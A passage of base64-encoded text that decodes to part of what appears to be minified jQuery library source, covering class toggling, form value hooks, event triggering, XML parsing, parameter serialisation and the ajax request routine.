aT14dChuKSxyPTE9PT1uLm5vZGVUeXBlJiYiICIrbXQoaSkrIiAiKXthPTA7d2hpbGUobz1lW2ErK10pd2hpbGUoLTE8ci5pbmRleE9mKCIgIitvKyIgIikpcj1yLnJlcGxhY2UoIiAiK28rIiAiLCIgIik7aSE9PShzPW10KHIpKSYmbi5zZXRBdHRyaWJ1dGUoImNsYXNzIixzKX1yZXR1cm4gdGhpc30sdG9nZ2xlQ2xhc3M6ZnVuY3Rpb24oaSx0KXt2YXIgbz10eXBlb2YgaSxhPSJzdHJpbmciPT09b3x8QXJyYXkuaXNBcnJheShpKTtyZXR1cm4iYm9vbGVhbiI9PXR5cGVvZiB0JiZhP3Q/dGhpcy5hZGRDbGFzcyhpKTp0aGlzLnJlbW92ZUNsYXNzKGkpOm0oaSk/dGhpcy5lYWNoKGZ1bmN0aW9uKGUpe2sodGhpcykudG9nZ2xlQ2xhc3MoaS5jYWxsKHRoaXMsZSx4dCh0aGlzKSx0KSx0KX0pOnRoaXMuZWFjaChmdW5jdGlvbigpe3ZhciBlLHQsbixyO2lmKGEpe3Q9MCxuPWsodGhpcykscj1idChpKTt3aGlsZShlPXJbdCsrXSluLmhhc0NsYXNzKGUpP24ucmVtb3ZlQ2xhc3MoZSk6bi5hZGRDbGFzcyhlKX1lbHNlIHZvaWQgMCE9PWkmJiJib29sZWFuIiE9PW98fCgoZT14dCh0aGlzKSkmJlEuc2V0KHRoaXMsIl9fY2xhc3NOYW1lX18iLGUpLHRoaXMuc2V0QXR0cmlidXRlJiZ0aGlzLnNldEF0dHJpYnV0ZSgiY2xhc3MiLGV8fCExPT09aT8iIjpRLmdldCh0aGlzLCJfX2NsYXNzTmFtZV9fIil8fCIiKSl9KX0saGFzQ2xhc3M6ZnVuY3Rpb24oZSl7dmFyIHQsbixyPTA7dD0iICIrZSsiICI7d2hpbGUobj10aGlzW3IrK10paWYoMT09PW4ubm9kZVR5cGUmJi0xPCgiICIrbXQoeHQobikpKyIgIikuaW5kZXhPZih0KSlyZXR1cm4hMDtyZXR1cm4hMX19KTt2YXIgd3Q9L1xyL2c7ay5mbi5leHRlbmQoe3ZhbDpmdW5jdGlvbihuKXt2YXIgcixlLGksdD10aGlzWzBdO3JldHVybiBhcmd1bWVudHMubGVuZ3RoPyhpPW0obiksdGhpcy5lYWNoKGZ1bmN0aW9uKGUpe3ZhciB0OzE9PT10aGlzLm5vZGVUeXBlJiYobnVsbD09KHQ9aT9uLmNhbGwodGhpcyxlLGsodGhpcykudmFsKCkpOm4pP3Q9IiI6Im51bWJlciI9PXR5cGVvZiB0P3QrPSIiOkFycmF5LmlzQXJyYXkodCkmJih0PWsubWFwKHQsZnVuY3Rpb24oZSl7cmV0dXJuIG51bGw9PWU/IiI6ZSsiIn0pKSwocj1rLnZhbEhvb2tzW3RoaXMudHlwZV18fGsudmFsSG9va3NbdGhpcy5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpXSkmJiJzZXQiaW4gciYmdm9pZCAwIT09ci5zZXQodGhpcyx0LCJ2YWx1ZSIpfHwodGhpcy52YWx1ZT10KSl9KSk6dD8ocj1rLnZhbEhvb2tzW3QudHlwZV18fGsudmFsSG9va3NbdC5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpXSkmJiJnZXQiaW4gciYmdm9pZCAwIT09KGU9ci5nZXQodCwidmFsdWUiKSk/ZToic3RyaW5nIj09dHlwZW9mKGU9dC52YWx1ZSk/ZS5yZXBsYWNlKHd0LCIiKTpudWxsPT1lPyIiOmU6dm9pZCAwfX0pLGsuZXh0ZW5kKHt2YWxIb29rczp7b3B0aW9uOntnZXQ6ZnVuY3Rpb24oZSl7dmFyIHQ9ay5maW5kLmF0dHIoZSwidmFsdWUiKTtyZXR1cm4gbnVsbCE9dD90Om10KGsudGV4dChlKSl9fSxzZWxlY3Q6e2dldDpmdW5jdGlvbihlKXt2YXIgdCxuLHIsaT1lLm9wdGlvbnMsbz1lLnNlbGVjdGVkSW5kZXgsYT0ic2VsZWN0LW9uZSI9PT1lLnR5cGUscz1hP251bGw6W10sdT1hP28rMTppLmxlbmd0aDtmb3Iocj1vPDA/dTphP286MDtyPHU7cisrKWlmKCgobj1pW3JdKS5zZWxlY3RlZHx8cj09PW8pJiYhbi5kaXNhYmxlZCYmKCFuLnBhcmVudE5vZGUuZGlzYWJsZWR8fCFBKG4ucGFyZW50Tm9kZSwib3B0Z3JvdXAiKSkpe2lmKHQ9ayhuKS52YWwoKSxhKXJldHVybiB0O3MucHVzaCh0KX1yZXR1cm4gc30sc2V0OmZ1bmN0aW9uKGUsdCl7dmFyIG4scixpPWUub3B0aW9ucyxvPWsubWFrZUFycmF5KHQpLGE9aS5sZW5ndGg7d2hpbGUoYS0tKSgocj1pW2FdKS5zZWxlY3RlZD0tMTxrLmluQXJyYXkoay52YWxIb29rcy5vcHRpb24uZ2V0KHIpLG8pKSYmKG49ITApO3JldHVybiBufHwoZS5zZWxlY3RlZEluZGV4PS0xKSxvfX19fSksay5lYWNoKFsicmFkaW8iLCJjaGVja2JveCJdLGZ1bmN0aW9uKCl7ay52YWxIb29rc1t0aGlzXT17c2V0OmZ1bmN0aW9uKGUsdCl7aWYoQXJyYXkuaXNBcnJheSh0KSlyZXR1cm4gZS5jaGVja2VkPS0xPGsuaW5BcnJheShrKGUpLnZhbCgpLHQpfX0seS5jaGVja09ufHwoay52YWxIb29rc1t0aGlzXS5nZXQ9ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGw9PT1lLmdldEF0dHJpYnV0ZSgidmFsdWUiKT8ib24iOmUudmFsdWV9KX0pLHkuZm9jdXNpbj0ib25mb2N1c2luImluIEM7dmFyIFR0PS9eKD86Zm9jdXNpbmZvY3VzfGZvY3Vzb3V0Ymx1cikkLyxDdD1mdW5jdGlvbihlKXtlLnN0b3BQcm9wYWdhdGlvbigpfTtrLmV4dGVuZChrLmV2ZW50LHt0cmlnZ2VyOmZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBpLG8sYSxzLHUsbCxjLGYscD1bbnx8RV0sZD12LmNhbGwoZSwidHlwZSIpP2UudHlwZTplLGg9di5jYWxsKGUsIm5hbWVzcGFjZSIpP2UubmFtZXNwYWNlLnNwbGl0KCIuIik6W107aWYobz1mPWE9bj1ufHxFLDMhPT1uLm5vZGVUeXBlJiY4IT09bi5ub2RlVHlwZSYmIVR0LnRlc3QoZCtrLmV2ZW50LnRyaWdnZXJlZCkmJigtMTxkLmluZGV4T2YoIi4iKSYmKGQ9KGg9ZC5zcGxpdCgiLiIpKS5zaGlmdCgpLGguc29ydCgpKSx1PWQuaW5kZXhPZigiOiIpPDAmJiJvbiIrZCwoZT1lW2suZXhwYW5kb10/ZTpuZXcgay5FdmVudChkLCJvYmplY3QiPT10eXBlb2YgZSYmZSkpLmlzVHJpZ2dlcj1yPzI6MyxlLm5hbWVzcGFjZT1oLmpvaW4oIi4iKSxlLnJuYW1lc3BhY2U9ZS5uYW1lc3BhY2U/bmV3IFJlZ0V4cCgiKF58XFwuKSIraC5qb2luKCJcXC4oPzouKlxcLnwpIikrIihcXC58JCkiKTpudWxsLGUucmVzdWx0PXZvaWQgMCxlLnRhcmdldHx8KGUudGFyZ2V0PW4pLHQ9bnVsbD09dD9bZV06ay5tYWtlQXJyYXkodCxbZV0pLGM9ay5ldmVudC5zcGVjaWFsW2RdfHx7fSxyfHwhYy50cmlnZ2VyfHwhMSE9PWMudHJpZ2dlci5hcHBseShuLHQpKSl7aWYoIXImJiFjLm5vQnViYmxlJiYheChuKSl7Zm9yKHM9Yy5kZWxlZ2F0ZVR5cGV8fGQsVHQudGVzdChzK2QpfHwobz1vLnBhcmVudE5vZGUpO287bz1vLnBhcmVudE5vZGUpcC5wdXNoKG8pLGE9bzthPT09KG4ub3duZXJEb2N1bWVudHx8RSkmJnAucHVzaChhLmRlZmF1bHRWaWV3fHxhLnBhcmVudFdpbmRvd3x8Qyl9aT0wO3doaWxlKChvPXBbaSsrXSkmJiFlLmlzUHJvcGFnYXRpb25TdG9wcGVkKCkpZj1vLGUudHlwZT0xPGk/czpjLmJpbmRUeXBlfHxkLChsPShRLmdldChvLCJldmVudHMiKXx8e30pW2UudHlwZV0mJlEuZ2V0KG8sImhhbmRsZSIpKSYmbC5hcHBseShvLHQpLChsPXUmJm9bdV0pJiZsLmFwcGx5JiZHKG8pJiYoZS5yZXN1bHQ9bC5hcHBseShvLHQpLCExPT09ZS5yZXN1bHQmJmUucHJldmVudERlZmF1bHQoKSk7cmV0dXJuIGUudHlwZT1kLHJ8fGUuaXNEZWZhdWx0UHJldmVudGVkKCl8fGMuX2RlZmF1bHQmJiExIT09Yy5fZGVmYXVsdC5hcHBseShwLnBvcCgpLHQpfHwhRyhuKXx8dSYmbShuW2RdKSYmIXgobikmJigoYT1uW3VdKSYmKG5bdV09bnVsbCksay5ldmVudC50cmlnZ2VyZWQ9ZCxlLmlzUHJvcGFnYXRpb25TdG9wcGVkKCkmJmYuYWRkRXZlbnRMaXN0ZW5lcihkLEN0KSxuW2RdKCksZS5pc1Byb3BhZ2F0aW9uU3RvcHBlZCgpJiZmLnJlbW92ZUV2ZW50TGlzdGVuZXIoZCxDdCksay5ldmVudC50cmlnZ2VyZWQ9dm9pZCAwLGEmJihuW3VdPWEpKSxlLnJlc3VsdH19LHNpbXVsYXRlOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcj1rLmV4dGVuZChuZXcgay5FdmVudCxuLHt0eXBlOmUsaXNTaW11bGF0ZWQ6ITB9KTtrLmV2ZW50LnRyaWdnZXIocixudWxsLHQpfX0pLGsuZm4uZXh0ZW5kKHt0cmlnZ2VyOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe2suZXZlbnQudHJpZ2dlcihlLHQsdGhpcyl9KX0sdHJpZ2dlckhhbmRsZXI6ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzWzBdO2lmKG4pcmV0dXJuIGsuZXZlbnQudHJpZ2dlcihlLHQsbiwhMCl9fSkseS5mb2N1c2lufHxrLmVhY2goe2ZvY3VzOiJmb2N1c2luIixibHVyOiJmb2N1c291dCJ9LGZ1bmN0aW9uKG4scil7dmFyIGk9ZnVuY3Rpb24oZSl7ay5ldmVudC5zaW11bGF0ZShyLGUudGFyZ2V0LGsuZXZlbnQuZml4KGUpKX07ay5ldmVudC5zcGVjaWFsW3JdPXtzZXR1cDpmdW5jdGlvbigpe3ZhciBlPXRoaXMub3duZXJEb2N1bWVudHx8dGhpcyx0PVEuYWNjZXNzKGUscik7dHx8ZS5hZGRFdmVudExpc3RlbmVyKG4saSwhMCksUS5hY2Nlc3MoZSxyLCh0fHwwKSsxKX0sdGVhcmRvd246ZnVuY3Rpb24oKXt2YXIgZT10aGlzLm93bmVyRG9jdW1lbnR8fHRoaXMsdD1RLmFjY2VzcyhlLHIpLTE7dD9RLmFjY2VzcyhlLHIsdCk6KGUucmVtb3ZlRXZlbnRMaXN0ZW5lcihuLGksITApLFEucmVtb3ZlKGUscikpfX19KTt2YXIgRXQ9Qy5sb2NhdGlvbixrdD1EYXRlLm5vdygpLFN0PS9cPy87ay5wYXJzZVhNTD1mdW5jdGlvbihlKXt2YXIgdDtpZighZXx8InN0cmluZyIhPXR5cGVvZiBlKXJldHVybiBudWxsO3RyeXt0PShuZXcgQy5ET01QYXJzZXIpLnBhcnNlRnJvbVN0cmluZyhlLCJ0ZXh0L3htbCIpfWNhdGNoKGUpe3Q9dm9pZCAwfXJldHVybiB0JiYhdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgicGFyc2VyZXJyb3IiKS5sZW5ndGh8fGsuZXJyb3IoIkludmFsaWQgWE1MOiAiK2UpLHR9O3ZhciBOdD0vXFtcXSQvLEF0PS9ccj9cbi9nLER0PS9eKD86c3VibWl0fGJ1dHRvbnxpbWFnZXxyZXNldHxmaWxlKSQvaSxqdD0vXig/OmlucHV0fHNlbGVjdHx0ZXh0YXJlYXxrZXlnZW4pL2k7ZnVuY3Rpb24gcXQobixlLHIsaSl7dmFyIHQ7aWYoQXJyYXkuaXNBcnJheShlKSlrLmVhY2goZSxmdW5jdGlvbihlLHQpe3J8fE50LnRlc3Qobik/aShuLHQpOnF0KG4rIlsiKygib2JqZWN0Ij09dHlwZW9mIHQmJm51bGwhPXQ/ZToiIikrIl0iLHQscixpKX0pO2Vsc2UgaWYocnx8Im9iamVjdCIhPT13KGUpKWkobixlKTtlbHNlIGZvcih0IGluIGUpcXQobisiWyIrdCsiXSIsZVt0XSxyLGkpfWsucGFyYW09ZnVuY3Rpb24oZSx0KXt2YXIgbixyPVtdLGk9ZnVuY3Rpb24oZSx0KXt2YXIgbj1tKHQpP3QoKTp0O3Jbci5sZW5ndGhdPWVuY29kZVVSSUNvbXBvbmVudChlKSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KG51bGw9PW4/IiI6bil9O2lmKG51bGw9PWUpcmV0dXJuIiI7aWYoQXJyYXkuaXNBcnJheShlKXx8ZS5qcXVlcnkmJiFrLmlzUGxhaW5PYmplY3QoZSkpay5lYWNoKGUsZnVuY3Rpb24oKXtpKHRoaXMubmFtZSx0aGlzLnZhbHVlKX0pO2Vsc2UgZm9yKG4gaW4gZSlxdChuLGVbbl0sdCxpKTtyZXR1cm4gci5qb2luKCImIil9LGsuZm4uZXh0ZW5kKHtzZXJpYWxpemU6ZnVuY3Rpb24oKXtyZXR1cm4gay5wYXJhbSh0aGlzLnNlcmlhbGl6ZUFycmF5KCkpfSxzZXJpYWxpemVBcnJheTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm1hcChmdW5jdGlvbigpe3ZhciBlPWsucHJvcCh0aGlzLCJlbGVtZW50cyIpO3JldHVybiBlP2subWFrZUFycmF5KGUpOnRoaXN9KS5maWx0ZXIoZnVuY3Rpb24oKXt2YXIgZT10aGlzLnR5cGU7cmV0dXJuIHRoaXMubmFtZSYmIWsodGhpcykuaXMoIjpkaXNhYmxlZCIpJiZqdC50ZXN0KHRoaXMubm9kZU5hbWUpJiYhRHQudGVzdChlKSYmKHRoaXMuY2hlY2tlZHx8IXBlLnRlc3QoZSkpfSkubWFwKGZ1bmN0aW9uKGUsdCl7dmFyIG49ayh0aGlzKS52YWwoKTtyZXR1cm4gbnVsbD09bj9udWxsOkFycmF5LmlzQXJyYXkobik/ay5tYXAobixmdW5jdGlvbihlKXtyZXR1cm57bmFtZTp0Lm5hbWUsdmFsdWU6ZS5yZXBsYWNlKEF0LCJcclxuIil9fSk6e25hbWU6dC5uYW1lLHZhbHVlOm4ucmVwbGFjZShBdCwiXHJcbiIpfX0pLmdldCgpfX0pO3ZhciBMdD0vJTIwL2csSHQ9LyMuKiQvLE90PS8oWz8mXSlfPVteJl0qLyxQdD0vXiguKj8pOlsgXHRdKihbXlxyXG5dKikkL2dtLFJ0PS9eKD86R0VUfEhFQUQpJC8sTXQ9L15cL1wvLyxJdD17fSxXdD17fSwkdD0iKi8iLmNvbmNhdCgiKiIpLEZ0PUUuY3JlYXRlRWxlbWVudCgiYSIpO2Z1bmN0aW9uIEJ0KG8pe3JldHVybiBmdW5jdGlvbihlLHQpeyJzdHJpbmciIT10eXBlb2YgZSYmKHQ9ZSxlPSIqIik7dmFyIG4scj0wLGk9ZS50b0xvd2VyQ2FzZSgpLm1hdGNoKFIpfHxbXTtpZihtKHQpKXdoaWxlKG49aVtyKytdKSIrIj09PW5bMF0/KG49bi5zbGljZSgxKXx8IioiLChvW25dPW9bbl18fFtdKS51bnNoaWZ0KHQpKToob1tuXT1vW25dfHxbXSkucHVzaCh0KX19ZnVuY3Rpb24gX3QodCxpLG8sYSl7dmFyIHM9e30sdT10PT09V3Q7ZnVuY3Rpb24gbChlKXt2YXIgcjtyZXR1cm4gc1tlXT0hMCxrLmVhY2godFtlXXx8W10sZnVuY3Rpb24oZSx0KXt2YXIgbj10KGksbyxhKTtyZXR1cm4ic3RyaW5nIiE9dHlwZW9mIG58fHV8fHNbbl0/dT8hKHI9bik6dm9pZCAwOihpLmRhdGFUeXBlcy51bnNoaWZ0KG4pLGwobiksITEpfSkscn1yZXR1cm4gbChpLmRhdGFUeXBlc1swXSl8fCFzWyIqIl0mJmwoIioiKX1mdW5jdGlvbiB6dChlLHQpe3ZhciBuLHIsaT1rLmFqYXhTZXR0aW5ncy5mbGF0T3B0aW9uc3x8e307Zm9yKG4gaW4gdCl2b2lkIDAhPT10W25dJiYoKGlbbl0/ZTpyfHwocj17fSkpW25dPXRbbl0pO3JldHVybiByJiZrLmV4dGVuZCghMCxlLHIpLGV9RnQuaHJlZj1FdC5ocmVmLGsuZXh0ZW5kKHthY3RpdmU6MCxsYXN0TW9kaWZpZWQ6e30sZXRhZzp7fSxhamF4U2V0dGluZ3M6e3VybDpFdC5ocmVmLHR5cGU6IkdFVCIsaXNMb2NhbDovXig/OmFib3V0fGFwcHxhcHAtc3RvcmFnZXwuKy1leHRlbnNpb258ZmlsZXxyZXN8d2lkZ2V0KTokLy50ZXN0KEV0LnByb3RvY29sKSxnbG9iYWw6ITAscHJvY2Vzc0RhdGE6ITAsYXN5bmM6ITAsY29udGVudFR5cGU6ImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDsgY2hhcnNldD1VVEYtOCIsYWNjZXB0czp7IioiOiR0LHRleHQ6InRleHQvcGxhaW4iLGh0bWw6InRleHQvaHRtbCIseG1sOiJhcHBsaWNhdGlvbi94bWwsIHRleHQveG1sIixqc29uOiJhcHBsaWNhdGlvbi9qc29uLCB0ZXh0L2phdmFzY3JpcHQifSxjb250ZW50czp7eG1sOi9cYnhtbFxiLyxodG1sOi9cYmh0bWwvLGpzb246L1xianNvblxiL30scmVzcG9uc2VGaWVsZHM6e3htbDoicmVzcG9uc2VYTUwiLHRleHQ6InJlc3BvbnNlVGV4dCIsanNvbjoicmVzcG9uc2VKU09OIn0sY29udmVydGVyczp7IiogdGV4dCI6U3RyaW5nLCJ0ZXh0IGh0bWwiOiEwLCJ0ZXh0IGpzb24iOkpTT04ucGFyc2UsInRleHQgeG1sIjprLnBhcnNlWE1MfSxmbGF0T3B0aW9uczp7dXJsOiEwLGNvbnRleHQ6ITB9fSxhamF4U2V0dXA6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdD96dCh6dChlLGsuYWpheFNldHRpbmdzKSx0KTp6dChrLmFqYXhTZXR0aW5ncyxlKX0sYWpheFByZWZpbHRlcjpCdChJdCksYWpheFRyYW5zcG9ydDpCdChXdCksYWpheDpmdW5jdGlvbihlLHQpeyJvYmplY3QiPT10eXBlb2YgZSYmKHQ9ZSxlPXZvaWQgMCksdD10fHx7fTt2YXIgYyxmLHAsbixkLHIsaCxnLGksbyx2PWsuYWpheFNldHVwKHt9LHQpLHk9di5jb250ZXh0fHx2LG09di5jb250ZXh0JiYoeS5ub2RlVHlwZXx8eS5qcXVlcnkpP2soeSk6ay5ldmVudCx4PWsuRGVmZXJyZWQoKSxiPWsuQ2FsbGJhY2tzKCJvbmNlIG1lbW9yeSIpLHc9di5zdGF0dXNDb2RlfHx7fSxhPXt9LHM9e30sdT0iY2FuY2VsZWQiLFQ9e3JlYWR5U3RhdGU6MCxnZXRSZXNwb25zZUhlYWRlcjpmdW5jdGlvbihlKXt2YXIgdDtpZihoKXtpZighbil7bj17fTt3aGlsZSh0PVB0LmV4ZWMocCkpblt0WzFdLnRvTG93ZXJDYXNlKCkrIiAiXT0oblt0WzFdLnRvTG93ZXJDYXNlKCkrIiAiXXx8W10pLmNvbmNhdCh0WzJdKX10PW5bZS50b0xvd2VyQ2FzZSgpKyIgIl19cmV0dXJuIG51bGw9PXQ/bnVsbDp0LmpvaW4oIiwgIil9LGdldEFsbFJlc3BvbnNlSGVhZGVyczpmdW5jdGlvbigpe3JldHVybiBoP3A6bnVsbH0sc2V0UmVxdWVzdEhlYWRlcjpmdW5jdGlvbihlLHQpe3JldHVybiBudWxsPT1oJiYoZT1zW2UudG9Mb3dlckNhc2UoKV09c1tlLnRvTG93ZXJDYXNlKCldfHxlLGFbZV09dCksdGhpc30sb3ZlcnJpZGVNaW1lVHlwZTpmdW5jdGlvbihlKXtyZXR1cm4gbnVsbD09aCYmKHYubWltZVR5cGU9ZSksdGhpc30sc3RhdHVzQ29kZTpmdW5jdGlvbihlKXt2YXIgdDtpZihlKWlmKGgpVC5hbHdheXMoZVtULnN0YXR1c10pO2Vsc2UgZm9yKHQgaW4gZSl3W3RdPVt3W3RdLGVbdF1dO3JldHVybiB0aGlzfSxhYm9ydDpmdW5jdGlvbihlKXt2YXIgdD1lfHx1O3JldHVybiBjJiZjLmFib3J0KHQpLGwoMCx0KSx0aGlzfX07aWYoeC5wcm9taXNlKFQpLHYudXJsPSgoZXx8di51cmx8fEV0LmhyZWYpKyIiKS5yZXBsYWNlKE10LEV0LnByb3RvY29sKyIvLyIpLHYudHlwZT10Lm1ldGhvZHx8dC50eXBlfHx2Lm1ldGhvZHx8di50eXBlLHYuZGF0YVR5cGVzPSh2LmRhdGFUeXBlfHwiKiIpLnRvTG93ZXJDYXNlKCkubWF0Y2goUil8fFsiIl0sbnVsbD09di5jcm9zc0RvbWFpbil7cj1FLmNyZWF0ZUVsZW1lbnQoImEiKTt0cnl7ci5ocmVmPXYudXJsLHIuaHJlZj1yLmhyZWYsdi5jcm9zc0RvbWFpbj1GdC5wcm90b2NvbCsiLy8iK0Z0Lmhvc3QhPXIucHJvdG9jb2wrIi8vIityLmhvc3R9Y2F0Y2goZSl7di5jcm9zc0RvbWFpbj0hMH19aWYodi5kYXRhJiZ2LnByb2Nlc3NEYXRhJiYic3RyaW5nIiE9dHlwZW9mIHYuZGF0YSYmKHYuZGF0YT1rLnBhcmFtKHYuZGF0YSx2LnRyYWRpdGlvbmFsKSksX3QoSXQsdix0LFQpLGgpcmV0dXJuIFQ7Zm9yKGkgaW4oZz1rLmV2ZW50JiZ2Lmdsb2JhbCkmJjA9PWsuYWN0aXZlKysmJmsuZXZlbnQudHJpZ2dlcigiYWpheFN0YXJ0Iiksdi50eXBlPXYudHlwZS50b1VwcGVyQ2FzZSgpLHYuaGFzQ29udGVudD0hUnQudGVzdCh2LnR5cGUpLGY9di51cmwucmVwbGFjZShIdCwiIiksdi5oYXNDb250ZW50P3YuZGF0YSYmdi5wcm9jZXNzRGF0YSYmMD09PSh2LmNvbnRlbnRUeXBlfHwiIikuaW5kZXhPZigiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIikmJih2LmRhdGE9di5kYXRhLnJlcGxhY2UoTHQsIisiKSk6KG89di51cmwuc2xpY2UoZi5sZW5ndGgpLHYuZGF0YSYmKHYucHJvY2Vzc0RhdGF8fCJzdHJpbmciPT10eXBlb2Ygdi5kYXRhKSYmKGYrPShTdC50ZXN0KGYpPyImIjoiPyIpK3YuZGF0YSxkZWxldGUgdi5kYXRhKSwhMT09PXYuY2FjaGUmJihmPWYucmVwbGFjZShPdCwiJDEiKSxvPShTdC50ZXN0KGYpPyImIjoiPyIpKyJfPSIra3QrKytvKSx2LnVybD1mK28pLHYuaWZNb2RpZmllZCYmKGsubGFzdE1vZGlmaWVkW2ZdJiZULnNldFJlcXVlc3RIZWFkZXIoIklmLU1vZGlmaWVkLVNpbmNlIixrLmxhc3RNb2RpZmllZFtmXSksay5ldGFnW2ZdJiZULnNldFJlcXVlc3RIZWFkZXIoIklmLU5vbmUtTWF0Y2giLGsuZXRhZ1tmXSkpLCh2LmRhdGEmJnYuaGFzQ29udGVudCYmITEhPT12LmNvbnRlbnRUeXBlfHx0LmNvbnRlbnRUeXBlKSYmVC5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLHYuY29udGVudFR5cGUpLFQuc2V0UmVxdWVzdEhlYWRlcigiQWNjZXB0Iix2LmRhdGFUeXBlc1swXSYmdi5hY2NlcHRzW3YuZGF0YVR5cGVzWzBdXT92LmFjY2VwdHNbdi5kYXRhVHlwZXNbMF1dKygiKiIhPT12LmRhdGFUeXBlc1swXT8iLCAiKyR0KyI7IHE9MC4wMSI6IiIpOnYuYWNjZXB0c1siKiJdKSx2LmhlYWRlcnMpVC5zZXRSZXF1ZXN0SGVhZGVyKGksdi5oZWFkZXJzW2ldKTtpZih2LmJlZm9yZVNlbmQmJighMT09PXYuYmVmb3JlU2VuZC5jYWxsKHksVCx2KXx8aCkpcmV0dXJuIFQuYWJvcnQoKTtpZih1PSJhYm9ydCIsYi5hZGQodi5jb21wbGV0ZSksVC5kb25lKHYuc3VjY2VzcyksVC5mYWlsKHYuZXJyb3IpLGM9X3QoV3Qsdix0LFQpKXtpZihULnJlYWR5U3RhdGU9MSxnJiZtLnRyaWdnZXIoImFqYXhTZW5kIixbVCx2XSksaClyZXR1cm4gVDt2LmFzeW5jJiYwPHYudGltZW91dCYmKGQ9Qy5zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7VC5hYm9ydCgidGltZW91dCIpfSx2LnRpbWVvdXQpKTt0cnl7aD0hMSxjLnNlbmQoYSxsKX1jYXRjaChlKXtpZihoKXRocm93IGU7bCgtMSxlKX19ZWxzZSBsKC0xLCJObyBUcmFuc3BvcnQiKTtmdW5jdGlvbiBsKGUsdCxuLHIpe3ZhciBpLG8sYSxzLHUsbD10O2h8fChoPSEwLGQmJkMuY2xlYXJUaW1lb3V0KGQpLGM9dm9pZCAwLHA9cnx8IiIsVC5yZWFkeVN0YXRlPTA8ZT80OjAsaT0yMDA8PWUmJmU8MzAwfHwzMDQ9PT1lLG4mJihzPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYSxzPWUuY29udGVudHMsdT1lLmRhdGFUeXBlczt3aGlsZSgiKiI9PT11WzBdKXUuc2hpZnQoKSx2b2lkIDA9PT1yJiYocj1lLm1pbWVUeXBlfHx0LmdldFJlc3BvbnNlSGVhZGVyKCJDb250ZW50LVR5cGUiKSk7aWYocilmb3IoaSBpbiBzKWlmKHNbaV0mJnNbaV0udGVzdChyKSl7dS51bnNoaWZ0KGkpO2JyZWFrfWlmKHVbMF1pbiBuKW89dVswXTtlbHNle2ZvcihpIGluIG4pe2lmKCF1WzBdfHxlLmNvbnZlcnRlcnNbaSsiICIrdVswXV0pe289aTticmVha31hfHwoYT1pKX1vPW98fGF9aWYobylyZXR1cm4gbyE9PXVbMF0mJnUudW5zaGlmdChvKSxuW29dfSh2LFQsbikpLHM9ZnVuY3Rpb24oZSx0LG4scil7dmFyIGksbyxhLHMsdSxsPXt9LGM9ZS5kYXRhVHlwZXMuc2xpY2UoKTtpZihjWzFdKWZvcihhIGluIGUuY29udmVydGVycylsW2EudG9Mb3dlckNhc2UoKV09ZS5jb252ZXJ0ZXJzW2FdO289Yy5zaGlmdCgpO3doaWxlKG8paWYoZS5yZXNwb25zZUZpZWxkc1tvXSYmKG5bZS5yZXNwb25zZUZpZWxkc1tvXV09dCksIXUmJnImJmUuZGF0YUZpbHRlciYmKHQ9ZS5kYXRhRmlsdGVyKHQsZS5kYXRhVHlwZSkpLHU9byxvPWMuc2hpZnQoKSlpZigiKiI9PT1vKW89dTtlbHNlIGlmKCIqIiE9PXUmJnUhPT1vKXtpZighKGE9bFt1KyIgIitvXXx8bFsiKiAiK29dKSlmb3IoaSBpbiBsKWlmKChzPWkuc3BsaXQoIiAiKSlbMV09PT1vJiYoYT1sW3UrIiAiK3NbMF1dfHxsWyIqICIrc1swXV0pKXshMD09PWE/YT1sW2ldOiEwIT09bFtpXSYmKG89c1swXSxjLnVuc2hpZnQoc1sxXSkpO2JyZWFrfWlmKCEwIT09YSlpZihhJiZlWyJ0aHJvd3MiXSl0PWEodCk7ZWxzZSB0cnl7dD1hKHQpfWNhdGNoKGUpe3JldHVybntzdGF0ZToicGFyc2VyZXJyb3IiLGVycm9yOmE/ZToiTm8gY29udmVyc2lvbiBmcm9tICIrdSsiIHRvICIrb319fXJldHVybntzdGF0ZToic3VjY2VzcyIsZGF0YTp0fX0odixzLFQsaSksaT8odi5pZk1vZGlmaWVkJiYoKHU9VC5nZXRSZXNwb25zZUhlYWRlcigiTGFzdC1Nb2RpZmllZCIpKSYmKGsubGFzdE1vZGlmaWVkW2ZdPXUpLCh1PVQuZ2V0UmVzcG9uc2VIZWFkZXIoImV0YWciKSkmJihrLmV0YWdbZl09dSkpLDIwND09PWV8fCJIRUFEIj09PXYudHlwZT9sPSJub2NvbnRlbnQiOjMwND09PWU/bD0ibm90bW9kaWZpZWQiOihsPXMuc3RhdGUsbz1zLmRhdGEsaT0hKGE9cy5lcnJvcikpKTooYT1sLCFlJiZsfHwobD0iZXJyb3IiLGU8MCYmKGU9MCkpKSxULnN0YXR1cz1lLFQuc3RhdHVzVGV4dD0odHx8bCkrIiIsaT94LnJlc29sdmVXaXRoKHksW28sbCxUXSk6eC5yZWplY3RXaXRoKHksW1QsbCxhXSksVC5zdGF0dXNDb2RlKHcpLHc9dm9pZCAwLGcmJm0udHJpZ2dlcihpPyJhamF4U3VjY2VzcyI6ImFqYXhFcnJvciIsW1QsdixpP286YV0pLGIuZmlyZVdpdGgoeSxbVCxsXSksZyYmKG0udHJpZ2dlcigiYWpheENvbXBsZXRlIixbVCx2XSksLS1rLmFjdGl2ZXx8ay5ldmVudC50cmlnZ2VyKCJhamF4U3RvcCIpKSl9cmV0dXJuIFR9LGdldEpTT046ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBrLmdldChlLHQsbiwianNvbiIpfSxnZXRTY3JpcHQ6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gay5nZXQoZSx2b2lkIDAsdCwic2NyaXB0Iil9fSksay5lYWNoKFsiZ2V0IiwicG9zdCJdLGZ1bmN0aW9uKGUs